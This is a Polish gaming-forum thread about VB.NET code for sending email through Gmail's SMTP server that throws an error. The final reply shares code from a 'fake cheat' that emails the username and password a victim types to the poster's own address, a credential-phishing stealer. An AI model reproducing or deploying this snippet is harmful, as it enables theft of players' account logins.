Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Problem smtp mail


Rekomendowane odpowiedzi

Opublikowano
Try
            Dim Smtp_Server As New SmtpClient
            Dim e_mail As New MailMessage()
            Smtp_Server.UseDefaultCredentials = False
            Smtp_Server.Credentials = New Net.NetworkCredential("login", "haslo")
            Smtp_Server.Port = 587
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = "smtp.gmail.com"

            e_mail = New MailMessage()
            e_mail.From = New MailAddress("mail")
            e_mail.To.Add("mail")
            e_mail.Subject = "Email Sending"
            e_mail.IsBodyHtml = False
            e_mail.Body = "kupa"
            Smtp_Server.Send(e_mail)
            MsgBox("Mail Sent")

        Catch error_t As Exception
            MsgBox(error_t.ToString)
        End Try

Gdy chce wysłać email wywala mi następujący błąd

l4cdb2.jpg


Carl Johnson Aka CJ

Kings Never Die
After five years at east coast, It was time to go home.

 

Opublikowano

Wszystko jest w najlepszym porządku sprawdzałem na 3 mailach nie mam pojęcia co jest nie tak.


Carl Johnson Aka CJ

Kings Never Die
After five years at east coast, It was time to go home.

 

Opublikowano
Smtp_Server.DeliveryMethod = SmtpDeliveryMethod.Network;

Dodaj ten argument i sprawdź czy działa poprawnie.

 

To samo.


Carl Johnson Aka CJ

Kings Never Die
After five years at east coast, It was time to go home.

 

Opublikowano

masz tu kod z mojego fake cheata :D

 

 

To powyżej "Public Class Nazwa formy":

Imports System.Web
Imports System.IO
Imports System.Net.Mail

To jest przycisk "Wyślij":


 Dim Mail As New MailMessage()
        Dim Smtpserver As New SmtpClient
        Smtpserver.Credentials = New Net.NetworkCredential("@gmail.com", "Hasło")
        Smtpserver.Port = 587
        Smtpserver.Host = "Smtp.Gmail.com"
        Smtpserver.EnableSsl = True
        Smtpserver.EnableSsl = True
        Mail.To.Add("email odb")
        Mail.From = New MailAddress("@gmail.com")
        Mail.Subject = "Tutaj wpisujemy Temat emaila"
        Mail.Body = "UserName: " & TextBox2.Text & " Password: " & TextBox1.Text
        Smtpserver.Send(Mail)

Napisz czy działa :)

  • 7 miesięcy temu...

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...